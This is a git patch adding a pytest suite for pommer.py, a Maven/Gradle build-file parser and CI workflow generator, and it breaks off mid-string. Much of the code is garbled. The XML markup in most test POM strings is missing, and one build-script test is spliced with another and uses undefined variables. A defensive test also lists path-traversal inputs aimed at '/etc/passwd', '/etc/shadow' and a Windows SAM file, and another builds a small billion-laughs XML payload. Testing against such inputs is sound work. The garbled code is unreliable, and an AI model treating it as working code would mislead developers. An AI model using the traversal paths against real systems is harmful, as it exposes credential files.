From 828fda59c280ee35198f8af0398225d2c31a3684 Mon Sep 17 00:00:00 2001 From: rattatwinko Date: Thu, 22 May 2025 16:31:42 +0200 Subject: [PATCH] tests --- pommer/test/tests.py | 1838 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 1838 insertions(+) create mode 100644 pommer/test/tests.py diff --git a/pommer/test/tests.py b/pommer/test/tests.py new file mode 100644 index 0000000..a58c745 --- /dev/null +++ b/pommer/test/tests.py @@ -0,0 +1,1838 @@ +#!/usr/bin/env python3 + +""" + +Finish this shit! Dont wanna do today tho! + +Commercial Grade Test Suite for pommer.py + +This comprehensive test suite covers all functionality of the pommer.py script +with extensive edge case coverage, input validation, and error handling tests. + +Requirements: +- pytest +- pytest-cov (for coverage) +- pytest-mock (for mocking) +- pytest-xdist (for parallel execution) + +Run with: pytest test_pommer.py -v --cov=pommer --cov-report=html +""" + +import pytest +import os +import sys +import tempfile +import shutil +import json +import xml.etree.ElementTree as ET +from pathlib import Path +from unittest.mock import patch, mock_open, MagicMock, call +from io import StringIO + +# Add the script directory to path for imports +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + +# Import the module under test +import pommer + + +class TestParseXMLUtils: + """Test XML parsing utilities and edge cases""" + + def test_xml_namespace_registration(self): + """Test that XML namespace is properly registered""" + # This should not raise an exception + ET.register_namespace('', "http://maven.apache.org/POM/4.0.0") + assert True # If we reach here, namespace registration worked + + def test_malformed_xml_handling(self): + """Test handling of malformed XML files""" + malformed_xml = """ + + test + + """ + + with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f: + f.write(malformed_xml) + f.flush() + + result = pommer.parse_pom_xml(f.name) + assert result is None # Should handle malformed XML gracefully + + os.unlink(f.name) + + def test_empty_xml_file(self): + """Test handling of empty XML files""" + with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f: + f.write("") + f.flush() + + result = pommer.parse_pom_xml(f.name) + assert result is None + + os.unlink(f.name) + + def test_xml_with_bom(self): + """Test handling of XML files with Byte Order Mark""" + xml_with_bom = '\ufeff\n' + """ + + test-bom + com.test + 1.0.0 + """ + + with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False, encoding='utf-8-sig') as f: + f.write(xml_with_bom) + f.flush() + + result = pommer.parse_pom_xml(f.name) + assert result is not None + assert result['artifact_id'] == 'test-bom' + + os.unlink(f.name) + + +class TestParsePomXml: + """Test Maven POM XML parsing functionality""" + + def create_test_pom(self, content): + """Helper to create temporary POM files""" + temp_file = tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) + temp_file.write(content) + temp_file.close() + return temp_file.name + + def test_minimal_pom_parsing(self): + """Test parsing of minimal POM file""" + minimal_pom = """ + + minimal-project + """ + + pom_path = self.create_test_pom(minimal_pom) + result = pommer.parse_pom_xml(pom_path) + + assert result is not None + assert result['artifact_id'] == 'minimal-project' + assert result['group_id'] == 'unknown' # Default value + assert result['version'] == 'unknown' # Default value + assert result['name'] == 'minimal-project' # Falls back to artifact_id + assert result['java_version'] == '17' # Default value + assert result['packaging'] == 'jar' # Default value + assert result['is_kotlin'] == False + assert result['build_system'] == 'maven' + + os.unlink(pom_path) + + def test_complete_pom_parsing(self): + """Test parsing of complete POM file with all elements""" + complete_pom = """ + + com.example + complete-project + 2.1.0 + Complete Test Project + war + + + 11 + 1.8.20 + + + + src/main/java + clean compile package + + + + org.jetbrains.kotlin + kotlin-maven-plugin + + + + + + + org.jetbrains.kotlin + kotlin-stdlib-jdk8 + + + """ + + pom_path = self.create_test_pom(complete_pom) + result = pommer.parse_pom_xml(pom_path) + + assert result is not None + assert result['artifact_id'] == 'complete-project' + assert result['group_id'] == 'com.example' + assert result['version'] == '2.1.0' + assert result['name'] == 'Complete Test Project' + assert result['java_version'] == '11' + assert result['packaging'] == 'war' + assert result['is_kotlin'] == True + assert result['kotlin_version'] == '1.8.20' + assert result['source_dir'] == 'src/main/java' + assert result['default_goal'] == 'clean compile package' + + os.unlink(pom_path) + + def test_kotlin_detection_via_plugin(self): + """Test Kotlin detection via plugin presence""" + kotlin_plugin_pom = """ + + kotlin-plugin-test + + + + org.jetbrains.kotlin + kotlin-maven-plugin + 1.7.10 + + + + """ + + pom_path = self.create_test_pom(kotlin_plugin_pom) + result = pommer.parse_pom_xml(pom_path) + + assert result['is_kotlin'] == True + os.unlink(pom_path) + + def test_kotlin_detection_via_dependency(self): + """Test Kotlin detection via dependency presence""" + kotlin_dep_pom = """ + + kotlin-dep-test + + + org.jetbrains.kotlin + kotlin-stdlib + 1.7.10 + + + """ + + pom_path = self.create_test_pom(kotlin_dep_pom) + result = pommer.parse_pom_xml(pom_path) + + assert result['is_kotlin'] == True + os.unlink(pom_path) + + def test_kotlin_detection_via_properties(self): + """Test Kotlin detection via kotlin.version property""" + kotlin_prop_pom = """ + + kotlin-prop-test + + 1.8.0 + + """ + + pom_path = self.create_test_pom(kotlin_prop_pom) + result = pommer.parse_pom_xml(pom_path) + + assert result['is_kotlin'] == True + assert result['kotlin_version'] == '1.8.0' + os.unlink(pom_path) + + def test_pom_with_parent(self): + """Test POM with parent project inheritance""" + parent_pom = """ + + + com.parent + parent-project + 1.0.0 + + child-project + """ + + pom_path = self.create_test_pom(parent_pom) + result = pommer.parse_pom_xml(pom_path) + + assert result is not None + assert result['artifact_id'] == 'child-project' + # Should handle missing groupId/version gracefully + assert result['group_id'] == 'unknown' + assert result['version'] == 'unknown' + + os.unlink(pom_path) + + def test_nonexistent_pom_file(self): + """Test handling of non-existent POM file""" + result = pommer.parse_pom_xml("/nonexistent/path/pom.xml") + assert result is None + + def test_pom_permission_denied(self): + """Test handling of POM file with no read permissions""" + pom_content = """ + + permission-test + """ + + with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f: + f.write(pom_content) + f.flush() + + # Remove read permissions + os.chmod(f.name, 0o000) + + result = pommer.parse_pom_xml(f.name) + assert result is None + + # Restore permissions for cleanup + os.chmod(f.name, 0o644) + + os.unlink(f.name) + + def test_pom_with_comments_and_whitespace(self): + """Test POM parsing with extensive comments and whitespace""" + commented_pom = """ + + + + commented-project + com.test + + + 1.2.3 + + + + + 8 + + """ + + pom_path = self.create_test_pom(commented_pom) + result = pommer.parse_pom_xml(pom_path) + + assert result is not None + assert result['artifact_id'] == 'commented-project' + assert result['group_id'] == 'com.test' + assert result['version'] == '1.2.3' + assert result['java_version'] == '8' + + os.unlink(pom_path) + + +class TestParseGradleFile: + """Test Gradle build file parsing functionality""" + + def create_test_gradle(self, content, is_kts=False): + """Helper to create temporary Gradle files""" + suffix = '.gradle.kts' if is_kts else '.gradle' + temp_file = tempfile.NamedTemporaryFile(mode='w', suffix=suffix, delete=False) + temp_file.write(content) + temp_file.close() + return temp_file.name + + def create_settings_gradle(self, content, gradle_dir, is_kts=False): + """Helper to create settings.gradle file""" + filename = 'settings.gradle.kts' if is_kts else 'settings.gradle' + settings_path = os.path.join(gradle_dir, filename) + with open(settings_path, 'w') as f: + f.write(content) + return settings_path + + def test_minimal_gradle_parsing(self): + """Test parsing of minimal Gradle file""" + minimal_gradle = """ + // Minimal Gradle build file + """ + + gradle_path = self.create_test_gradle(minimal_gradle) + result = pommer.parse_gradle_file(gradle_path) + + assert result is not None + assert result['group_id'] == 'unknown' + assert result['version'] == 'unknown' + assert result['java_version'] == '17' # Default + assert result['packaging'] == 'jar' + assert result['is_kotlin'] == False + assert result['build_system'] == 'gradle' + assert result['is_kotlin_dsl'] == False + + os.unlink(gradle_path) + + def test_complete_gradle_parsing(self): + """Test parsing of complete Gradle file""" + complete_gradle = """ + plugins { + id 'java' + id 'application' + id 'org.jetbrains.kotlin.jvm' version '1.8.20' + } + + group = 'com.example' + version = '2.1.0' + + sourceCompatibility = JavaVersion.VERSION_11 + + repositories { + mavenCentral() + } + + dependencies { + implementation 'org.jetbrains.kotlin:kotlin-stdlib' + } + """ + + gradle_dir = tempfile.mkdtemp() + gradle_path = os.path.join(gradle_dir, 'build.gradle') + + with open(gradle_path, 'w') as f: + f.write(complete_gradle) + + # Create settings.gradle + settings_content = "rootProject.name = 'complete-gradle-project'" + self.create_settings_gradle(settings_content, gradle_dir) + + result = pommer.parse_gradle_file(gradle_path) + + assert result is not None + assert result['artifact_id'] == 'complete-gradle-project' + assert result['group_id'] == 'com.example' + assert result['version'] == '2.1.0' + assert result['java_version'] == '11' + assert result['packaging'] == 'application' + assert result['is_kotlin'] == True + assert result['kotlin_version'] == '1.8.20' + + shutil.rmtree(gradle_dir) + + def test_kotlin_dsl_gradle_parsing(self): + """Test parsing of Kotlin DSL Gradle file""" + kotlin_gradle = """ + plugins { + kotlin("jvm") version "1.8.0" + application + } + + group = "com.kotlin.example" + version = "1.0.0" + + java { + toolchain { + languageVersion = JavaLanguageVersion.of(17) + } + } + """ + + gradle_path = self.create_test_gradle(kotlin_gradle, is_kts=True) + result = pommer.parse_gradle_file(gradle_path) + + assert result is not None + assert result['is_kotlin_dsl'] == True + assert result['is_kotlin'] == True # Should detect Kotlin from DSL + assert result['group_id'] == 'com.kotlin.example' + assert result['version'] == '1.0.0' + assert result['java_version'] == '17' # From toolchain + + os.unlink(gradle_path) + + def test_gradle_java_version_detection_variants(self): + """Test various ways Java version can be specified in Gradle""" + + # Test sourceCompatibility with quotes + gradle1 = 'sourceCompatibility = "11"' + path1 = self.create_test_gradle(gradle1) + result1 = pommer.parse_gradle_file(path1) + assert result1['java_version'] == '11' + os.unlink(path1) + + # Test sourceCompatibility with JavaVersion enum + gradle2 = 'sourceCompatibility = JavaVersion.VERSION_8' + path2 = self.create_test_gradle(gradle2) + result2 = pommer.parse_gradle_file(path2) + assert result2['java_version'] == '8' + os.unlink(path2) + + # Test toolchain configuration + gradle3 = """ + java { + toolchain { + languageVersion = JavaLanguageVersion.of(21) + } + } + """ + path3 = self.create_test_gradle(gradle3) + result3 = pommer.parse_gradle_file(path3) + assert result3['java_version'] == '21' + os.unlink(path3) + + def test_gradle_settings_file_variants(self): + """Test detection of project name from various settings file formats""" + + gradle_dir = tempfile.mkdtemp() + gradle_path = os.path.join(gradle_dir, 'build.gradle') + + with open(gradle_path, 'w') as f: + f.write('// Simple build file') + + # Test settings.gradle with double quotes + settings1 = 'rootProject.name = "test-project-1"' + self.create_settings_gradle(settings1, gradle_dir) + result1 = pommer.parse_gradle_file(gradle_path) + assert result1['artifact_id'] == 'test-project-1' + + # Clean up and test settings.gradle.kts + os.remove(os.path.join(gradle_dir, 'settings.gradle')) + settings2 = 'rootProject.name = "test-project-2"' + self.create_settings_gradle(settings2, gradle_dir, is_kts=True) + result2 = pommer.parse_gradle_file(gradle_path) + assert result2['artifact_id'] == 'test-project-2' + + # Test fallback to directory name + os.remove(os.path.join(gradle_dir, 'settings.gradle.kts')) + result3 = pommer.parse_gradle_file(gradle_path) + assert result3['artifact_id'] == os.path.basename(gradle_dir) + + shutil.rmtree(gradle_dir) + + def test_gradle_kotlin_detection_methods(self): + """Test various methods of Kotlin detection in Gradle""" + + # Kotlin plugin with id() + gradle1 = 'id("kotlin") version "1.8.0"' + path1 = self.create_test_gradle(gradle1) + result1 = pommer.parse_gradle_file(path1) + assert result1['is_kotlin'] == True + os.unlink(path1) + + # Kotlin plugin with full ID + gradle2 = 'id "org.jetbrains.kotlin.jvm" version "1.7.0"' + path2 = self.create_test_gradle(gradle2) + result2 = pommer.parse_gradle_file(path2) + assert result2['is_kotlin'] == True + os.unlink(path2) + + # Kotlin version property + gradle3 = 'kotlin version "1.6.0"' + path3 = self.create_test_gradle(gradle3) + result3 = pommer.parse_gradle_file(path3) + assert result3['is_kotlin'] == True + assert result3['kotlin_version'] == '1.6.0' + os.unlink(path3) + + def test_gradle_application_plugin_detection(self): + """Test detection of application plugin""" + gradle_with_app = 'id("application")' + path = self.create_test_gradle(gradle_with_app) + result = pommer.parse_gradle_file(path) + + assert result['packaging'] == 'application' + os.unlink(path) + + def test_nonexistent_gradle_file(self): + """Test handling of non-existent Gradle file""" + result = pommer.parse_gradle_file("/nonexistent/path/build.gradle") + assert result is None + + def test_gradle_file_permission_denied(self): + """Test handling of Gradle file with no read permissions""" + gradle_content = "// Test content" + + with tempfile.NamedTemporaryFile(mode='w', suffix='.gradle', delete=False) as f: + f.write(gradle_content) + f.flush() + + # Remove read permissions + os.chmod(f.name, 0o000) + + result = pommer.parse_gradle_file(f.name) + assert result is None + + # Restore permissions for cleanup + os.chmod(f.name, 0o644) + + os.unlink(f.name) + + def test_gradle_complex_multiline_patterns(self): + """Test parsing of complex multiline Gradle configurations""" + complex_gradle = """ + plugins { + id 'java' + id 'org.jetbrains.kotlin.jvm' version '1.8.20' + } + + java.toolchain { + languageVersion = JavaLanguageVersion.of( + 17 + ) + } + + group = 'com.complex.example' + version = '3.2.1' + """ + + path = self.create_test_gradle(complex_gradle) + result = pommer.parse_gradle_file(path) + + assert result is not None + assert result['group_id'] == 'com.complex.example' + assert result['version'] == '3.2.1' + assert result['java_version'] == '17' + assert result['is_kotlin'] == True + assert result['kotlin_version'] == '1.8.20' + + os.unlink(path) + + +class TestWorkflowGeneration: + """Test workflow generation functionality""" + + def test_generate_maven_workflow_single_project(self): + """Test Maven workflow generation for single project""" + maven_info = [{ + "artifact_id": "test-project", + "group_id": "com.test", + "version": "1.0.0", + "name": "Test Project", + "java_version": "11", + "packaging": "jar", + "is_kotlin": False, + "kotlin_version": None, + "source_dir": None, + "default_goal": None, + "pom_path": "pom.xml", + "build_system": "maven" + }] + + workflow = pommer.generate_maven_workflow(maven_info) + + assert workflow is not None + assert "Maven Build" in workflow + assert "JDK 11" in workflow + assert "test-project" in workflow + assert "clean package" in workflow + assert "maven" in workflow.lower() + + def test_generate_maven_workflow_multiple_projects(self): + """Test Maven workflow generation for multiple projects""" + maven_infos = [ + { + "artifact_id": "project1", + "name": "Project 1", + "java_version": "8", + "pom_path": "module1/pom.xml", + "default_goal": "clean compile", + "build_system": "maven" + }, + { + "artifact_id": "project2", + "name": "Project 2", + "java_version": "17", + "pom_path": "module2/pom.xml", + "default_goal": None, + "build_system": "maven" + } + ] + + workflow = pommer.generate_maven_workflow(maven_infos) + + assert workflow is not None + assert "JDK 17" in workflow # Should use highest Java version + assert "project1" in workflow + assert "project2" in workflow + assert "clean compile" in workflow # Custom goal + assert "clean package" in workflow # Default goal + + def test_generate_maven_workflow_empty_list(self): + """Test Maven workflow generation with empty project list""" + workflow = pommer.generate_maven_workflow([]) + assert workflow is None + + def test_generate_gradle_workflow_single_project(self): + """Test Gradle workflow generation for single project""" + gradle_info = [{ + "artifact_id": "gradle-test", + "name": "Gradle Test", + "java_version": "11", + "gradle_path": "build.gradle", + "is_kotlin": True, + "kotlin_version": "1.8.0", + "build_system": "gradle" + }] + + workflow = pommer.generate_gradle_workflow(gradle_info) + + assert workflow is not None + assert "Gradle Build" in workflow + assert "JDK 11" in workflow + assert "gradle-test" in workflow + assert "gradlew" in workflow or "gradle" in workflow + + def test_generate_gradle_workflow_with_wrapper(self): + """Test Gradle workflow generation with wrapper detection""" + temp_dir = tempfile.mkdtemp() + gradle_path = os.path.join(temp_dir, "build.gradle") + gradlew_path = os.path.join(temp_dir, "gradlew") + + # Create dummy files + with open(gradle_path, 'w') as f: + f.write("// test") + with open(gradlew_path, 'w') as f: + f.write("#!/bin/bash") + + gradle_info = [{ + "artifact_id": "wrapper-test", + "name": "Wrapper Test", + "java_version": "17", + "gradle_path": gradle_path, + "build_system": "gradle" + }] + + workflow = pommer.generate_gradle_workflow(gradle_info) + + assert workflow is not None + assert "./gradlew" in workflow # Should detect wrapper + + shutil.rmtree(temp_dir) + + def test_generate_gradle_workflow_without_wrapper(self): + """Test Gradle workflow generation without wrapper""" + temp_dir = tempfile.mkdtemp() + gradle_path = os.path.join(temp_dir, "build.gradle") + + # Create gradle file but no wrapper + with open(gradle_path, 'w') as f: + f.write("// test") + + gradle_info = [{ + "artifact_id": "no-wrapper-test", + "name": "No Wrapper Test", + "java_version": "11", + "gradle_path": gradle_path, + "build_system": "gradle" + }] + + workflow = pommer.generate_gradle_workflow(gradle_info) + + assert workflow is not None + assert "gradle build" in workflow # Should use system gradle + + shutil.rmtree(temp_dir) + + def test_generate_gradle_workflow_empty_list(self): + """Test Gradle workflow generation with empty project list""" + workflow = pommer.generate_gradle_workflow([]) + assert workflow is None + + +class TestBuildScriptGeneration: + """Test build script generation functionality""" + + def test_generate_build_script_maven_only(self): + """Test build script generation for Maven-only projects""" + maven_projects = [{ + "name": "Maven Project", + "pom_path": "pom.xml", + "build_system": "maven" + }] + + script = pommer.generate_build_script(mixed_projects) + + assert script is not None + assert "mvn" in script + assert "gradle" in script + assert "Maven Project" in script + assert "Gradle Project" in script + + shutil.rmtree(temp_dir) + + def test_generate_build_script_empty_projects(self): + """Test build script generation with empty project list""" + script = pommer.generate_build_script([]) + + assert script is not None + assert "Universal build script" in script + + +class TestFileDiscovery: + """Test file discovery functionality""" + + def test_find_pom_files_single_level(self): + """Test finding POM files in single directory""" + temp_dir = tempfile.mkdtemp() + pom_path = os.path.join(temp_dir, "pom.xml") + + with open(pom_path, 'w') as f: + f.write("") + + found_poms = pommer.find_pom_files(temp_dir) + + assert len(found_poms) == 1 + assert pom_path in found_poms + + shutil.rmtree(temp_dir) + + def test_find_pom_files_nested(self): + """Test finding POM files in nested directories""" + temp_dir = tempfile.mkdtemp() + + # Create nested structure + module1_dir = os.path.join(temp_dir, "module1") + module2_dir = os.path.join(temp_dir, "module2", "submodule") + os.makedirs(module1_dir) + os.makedirs(module2_dir) + + # Create POM files + root_pom = os.path.join(temp_dir, "pom.xml") + module1_pom = os.path.join(module1_dir, "pom.xml") + module2_pom = os.path.join(module2_dir, "pom.xml") + + for pom_path in [root_pom, module1_pom, module2_pom]: + with open(pom_path, 'w') as f: + f.write("") + + found_poms = pommer.find_pom_files(temp_dir) + + assert len(found_poms) == 3 + assert all(pom in found_poms for pom in [root_pom, module1_pom, module2_pom]) + + shutil.rmtree(temp_dir) + + def test_find_pom_files_no_matches(self): + """Test finding POM files when none exist""" + temp_dir = tempfile.mkdtemp() + + # Create some non-POM files + with open(os.path.join(temp_dir, "build.gradle"), 'w') as f: + f.write("// gradle") + with open(os.path.join(temp_dir, "README.md"), 'w') as f: + f.write("# README") + + found_poms = pommer.find_pom_files(temp_dir) + + assert len(found_poms) == 0 + + shutil.rmtree(temp_dir) + + def test_find_gradle_files_both_types(self): + """Test finding both .gradle and .gradle.kts files""" + temp_dir = tempfile.mkdtemp() + + gradle_path = os.path.join(temp_dir, "build.gradle") + gradle_kts_path = os.path.join(temp_dir, "build.gradle.kts") + + with open(gradle_path, 'w') as f: + f.write("// gradle") + with open(gradle_kts_path, 'w') as f: + f.write("// gradle kts") + + found_gradle = pommer.find_gradle_files(temp_dir) + + assert len(found_gradle) == 2 + assert gradle_path in found_gradle + assert gradle_kts_path in found_gradle + + shutil.rmtree(temp_dir) + + def test_find_gradle_files_nested(self): + """Test finding Gradle files in nested directories""" + temp_dir = tempfile.mkdtemp() + + # Create nested structure + app_dir = os.path.join(temp_dir, "app") + lib_dir = os.path.join(temp_dir, "lib", "core") + os.makedirs(app_dir) + os.makedirs(lib_dir) + + # Create Gradle files + root_gradle = os.path.join(temp_dir, "build.gradle") + app_gradle = os.path.join(app_dir, "build.gradle.kts") + lib_gradle = os.path.join(lib_dir, "build.gradle") + + for gradle_path in [root_gradle, app_gradle, lib_gradle]: + with open(gradle_path, 'w') as f: + f.write("// gradle build") + + found_gradle = pommer.find_gradle_files(temp_dir) + + assert len(found_gradle) == 3 + assert all(gradle in found_gradle for gradle in [root_gradle, app_gradle, lib_gradle]) + + shutil.rmtree(temp_dir) + + def test_find_files_nonexistent_directory(self): + """Test file discovery in non-existent directory""" + found_poms = pommer.find_pom_files("/nonexistent/directory") + found_gradle = pommer.find_gradle_files("/nonexistent/directory") + + assert len(found_poms) == 0 + assert len(found_gradle) == 0 + + +class TestMainFunction: + """Test main function and command-line interface""" + + @patch('sys.argv') + @patch('pommer.find_pom_files') + @patch('pommer.find_gradle_files') + @patch('pommer.parse_pom_xml') + @patch('pommer.parse_gradle_file') + def test_main_with_default_args(self, mock_parse_gradle, mock_parse_pom, + mock_find_gradle, mock_find_pom, mock_argv): + """Test main function with default arguments""" + mock_argv.__getitem__.side_effect = lambda x: ['pommer.py'][x] + mock_argv.__len__.return_value = 1 + + mock_find_pom.return_value = ['pom.xml'] + mock_find_gradle.return_value = ['build.gradle'] + + mock_parse_pom.return_value = { + "artifact_id": "test-maven", + "name": "Test Maven", + "java_version": "11", + "build_system": "maven", + "pom_path": "pom.xml" + } + + mock_parse_gradle.return_value = { + "artifact_id": "test-gradle", + "name": "Test Gradle", + "java_version": "17", + "build_system": "gradle", + "gradle_path": "build.gradle" + } + + with patch('builtins.open', mock_open()) as mock_file, \ + patch('os.makedirs'), \ + patch('os.chmod'), \ + patch('builtins.print') as mock_print: + + # This should not raise an exception + try: + pommer.main() + except SystemExit: + pass # argparse calls sys.exit, which is expected + + @patch('sys.argv') + def test_main_with_specific_pom(self, mock_argv): + """Test main function with specific POM file""" + mock_argv.__getitem__.side_effect = lambda x: ['pommer.py', '--specific-pom', 'test.xml'][x] + mock_argv.__len__.return_value = 3 + + with patch('pommer.parse_pom_xml') as mock_parse, \ + patch('pommer.find_gradle_files') as mock_find_gradle, \ + patch('builtins.open', mock_open()), \ + patch('os.makedirs'), \ + patch('os.chmod'), \ + patch('builtins.print'): + + mock_parse.return_value = { + "artifact_id": "specific-test", + "name": "Specific Test", + "java_version": "8", + "build_system": "maven", + "pom_path": "test.xml" + } + mock_find_gradle.return_value = [] + + try: + pommer.main() + except SystemExit: + pass + + @patch('sys.argv') + def test_main_with_json_output(self, mock_argv): + """Test main function with JSON output enabled""" + mock_argv.__getitem__.side_effect = lambda x: ['pommer.py', '--output-json'][x] + mock_argv.__len__.return_value = 2 + + with patch('pommer.find_pom_files') as mock_find_pom, \ + patch('pommer.find_gradle_files') as mock_find_gradle, \ + patch('pommer.parse_pom_xml') as mock_parse_pom, \ + patch('builtins.open', mock_open()) as mock_file, \ + patch('os.makedirs'), \ + patch('os.chmod'), \ + patch('json.dump') as mock_json_dump, \ + patch('builtins.print'): + + mock_find_pom.return_value = ['pom.xml'] + mock_find_gradle.return_value = [] + mock_parse_pom.return_value = { + "artifact_id": "json-test", + "build_system": "maven" + } + + try: + pommer.main() + mock_json_dump.assert_called_once() + except SystemExit: + pass + + @patch('sys.argv') + def test_main_no_projects_found(self, mock_argv): + """Test main function when no projects are found""" + mock_argv.__getitem__.side_effect = lambda x: ['pommer.py'][x] + mock_argv.__len__.return_value = 1 + + with patch('pommer.find_pom_files') as mock_find_pom, \ + patch('pommer.find_gradle_files') as mock_find_gradle, \ + patch('builtins.print') as mock_print: + + mock_find_pom.return_value = [] + mock_find_gradle.return_value = [] + + try: + pommer.main() + # Should print error message + mock_print.assert_any_call("No pom.xml or build.gradle files found in .") + except SystemExit: + pass + + @patch('sys.argv') + def test_main_parsing_failures(self, mock_argv): + """Test main function when all parsing fails""" + mock_argv.__getitem__.side_effect = lambda x: ['pommer.py'][x] + mock_argv.__len__.return_value = 1 + + with patch('pommer.find_pom_files') as mock_find_pom, \ + patch('pommer.find_gradle_files') as mock_find_gradle, \ + patch('pommer.parse_pom_xml') as mock_parse_pom, \ + patch('pommer.parse_gradle_file') as mock_parse_gradle, \ + patch('builtins.print') as mock_print: + + mock_find_pom.return_value = ['pom.xml'] + mock_find_gradle.return_value = ['build.gradle'] + mock_parse_pom.return_value = None # Parsing failed + mock_parse_gradle.return_value = None # Parsing failed + + try: + pommer.main() + mock_print.assert_any_call("No valid project files could be parsed") + except SystemExit: + pass + + +class TestEdgeCasesAndErrorHandling: + """Test edge cases and error handling scenarios""" + + def test_unicode_content_handling(self): + """Test handling of files with Unicode content""" + unicode_pom = """ + + unicode-tëst-prøjëct + Ùnïcödë Tëst Prøjëct 🚀 + com.tëst.ünicöde + """ + + with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False, encoding='utf-8') as f: + f.write(unicode_pom) + f.flush() + + result = pommer.parse_pom_xml(f.name) + assert result is not None + assert result['artifact_id'] == 'unicode-tëst-prøjëct' + assert 'Ùnïcödë' in result['name'] + + os.unlink(f.name) + + def test_very_large_file_handling(self): + """Test handling of very large files""" + # Create a large POM with many dependencies + large_pom_parts = [ + """ + + large-project + """ + ] + + # Add 1000 dependencies + for i in range(1000): + large_pom_parts.append(f""" + + com.test.dep{i} + dependency-{i} + 1.0.{i} + """) + + large_pom_parts.append(""" + + """) + + large_pom = ''.join(large_pom_parts) + + with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f: + f.write(large_pom) + f.flush() + + # Should handle large files without issues + result = pommer.parse_pom_xml(f.name) + assert result is not None + assert result['artifact_id'] == 'large-project' + + os.unlink(f.name) + + def test_circular_dependency_in_settings(self): + """Test handling of circular references in settings""" + temp_dir = tempfile.mkdtemp() + + # Create build.gradle + gradle_path = os.path.join(temp_dir, 'build.gradle') + with open(gradle_path, 'w') as f: + f.write('// Test gradle') + + # Create settings.gradle with complex content + settings_path = os.path.join(temp_dir, 'settings.gradle') + with open(settings_path, 'w') as f: + f.write(''' + rootProject.name = "complex-project" + include "subproject1" + include "subproject2" + + // Some complex Gradle script + gradle.beforeProject { project -> + project.ext.buildTimestamp = new Date().format('yyyy-MM-dd HH:mm:ss') + } + ''') + + result = pommer.parse_gradle_file(gradle_path) + assert result is not None + assert result['artifact_id'] == 'complex-project' + + shutil.rmtree(temp_dir) + + def test_malformed_regex_patterns(self): + """Test handling of content that might break regex patterns""" + tricky_gradle = ''' + // This content might break regex parsing + group = "com.test.regex[special*chars+here]" + version = "1.0.0-SNAPSHOT+build.123" + + // Multiline strings that could confuse parsers + description = """ + This is a multiline description + with "quotes" and 'apostrophes' + and sourceCompatibility = "fake" + """ + + // The real configuration + sourceCompatibility = JavaVersion.VERSION_11 + ''' + + with tempfile.NamedTemporaryFile(mode='w', suffix='.gradle', delete=False) as f: + f.write(tricky_gradle) + f.flush() + + result = pommer.parse_gradle_file(f.name) + assert result is not None + # Should extract the real Java version, not the fake one in comments + assert result['java_version'] == '11' + + os.unlink(f.name) + + def test_path_traversal_prevention(self): + """Test that path traversal attempts are handled safely""" + # This test ensures the script doesn't have directory traversal vulnerabilities + dangerous_paths = [ + "../../../etc/passwd", + "..\\..\\windows\\system32\\config\\sam", + "/etc/shadow", + "../../../../../../../../etc/hosts" + ] + + for dangerous_path in dangerous_paths: + result_pom = pommer.parse_pom_xml(dangerous_path) + result_gradle = pommer.parse_gradle_file(dangerous_path) + + # Should return None for non-existent files, not crash + assert result_pom is None + assert result_gradle is None + + def test_memory_exhaustion_protection(self): + """Test protection against memory exhaustion attacks""" + # Create a file with extremely nested XML (potential billion laughs attack) + nested_xml = '\n' + nested_xml += '\n' + for i in range(10): # Limit to prevent actual DoS during testing + nested_xml += f'\n' + nested_xml += ']>\n' + nested_xml += '&lol9;' + + with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f: + f.write(nested_xml) + f.flush() + + # Should handle malformed/dangerous XML gracefully + result = pommer.parse_pom_xml(f.name) + # Either None (safe parsing failure) or valid result + assert result is None or isinstance(result, dict) + + os.unlink(f.name) + + +class TestIntegrationScenarios: + """Test realistic integration scenarios""" + + def test_real_world_spring_boot_project(self): + """Test parsing a realistic Spring Boot Maven project""" + spring_boot_pom = """ + + 4.0.0 + + + org.springframework.boot + spring-boot-starter-parent + 3.2.0 + + + + com.example + spring-boot-demo + 0.0.1-SNAPSHOT + Spring Boot Demo + Demo project for Spring Boot + jar + + + 17 + 1.9.20 + + + + + org.springframework.boot + spring-boot-starter-web + + + org.jetbrains.kotlin + kotlin-stdlib-jdk8 + + + + + src/main/kotlin + + + org.springframework.boot + spring-boot-maven-plugin + + + org.jetbrains.kotlin + kotlin-maven-plugin + + + + """ + + with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f: + f.write(spring_boot_pom) + f.flush() + + result = pommer.parse_pom_xml(f.name) + assert result is not None + assert result['artifact_id'] == 'spring-boot-demo' + assert result['group_id'] == 'com.example' + assert result['version'] == '0.0.1-SNAPSHOT' + assert result['java_version'] == '17' + assert result['is_kotlin'] == True + assert result['kotlin_version'] == '1.9.20' + assert result['source_dir'] == 'src/main/kotlin' + + os.unlink(f.name) + + def test_real_world_android_gradle_project(self): + """Test parsing a realistic Android Gradle project""" + android_gradle = """ + plugins { + id 'com.android.application' + id 'org.jetbrains.kotlin.android' + } + + android { + namespace 'com.example.myapp' + compileSdk 34 + + defaultConfig { + applicationId "com.example.myapp" + minSdk 24 + targetSdk 34 + versionCode 1 + versionName "1.0" + } + + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + kotlinOptions { + jvmTarget = '1.8' + } + } + + dependencies { + implementation 'androidx.core:core-ktx:1.12.0' + implementation 'androidx.appcompat:appcompat:1.6.1' + } + """ + + temp_dir = tempfile.mkdtemp() + gradle_path = os.path.join(temp_dir, 'build.gradle') + + with open(gradle_path, 'w') as f: + f.write(android_gradle) + + # Create settings.gradle + settings_content = 'rootProject.name = "MyAndroidApp"' + with open(os.path.join(temp_dir, 'settings.gradle'), 'w') as f: + f.write(settings_content) + + result = pommer.parse_gradle_file(gradle_path) + + assert result is not None + assert result['artifact_id'] == 'MyAndroidApp' + assert result['is_kotlin'] == True + assert result['java_version'] == '17' # Default since no explicit sourceCompatibility + + shutil.rmtree(temp_dir) + + def test_multi_module_maven_project(self): + """Test a realistic multi-module Maven project""" + temp_dir = tempfile.mkdtemp() + + # Root POM + root_pom = """ + + com.example + 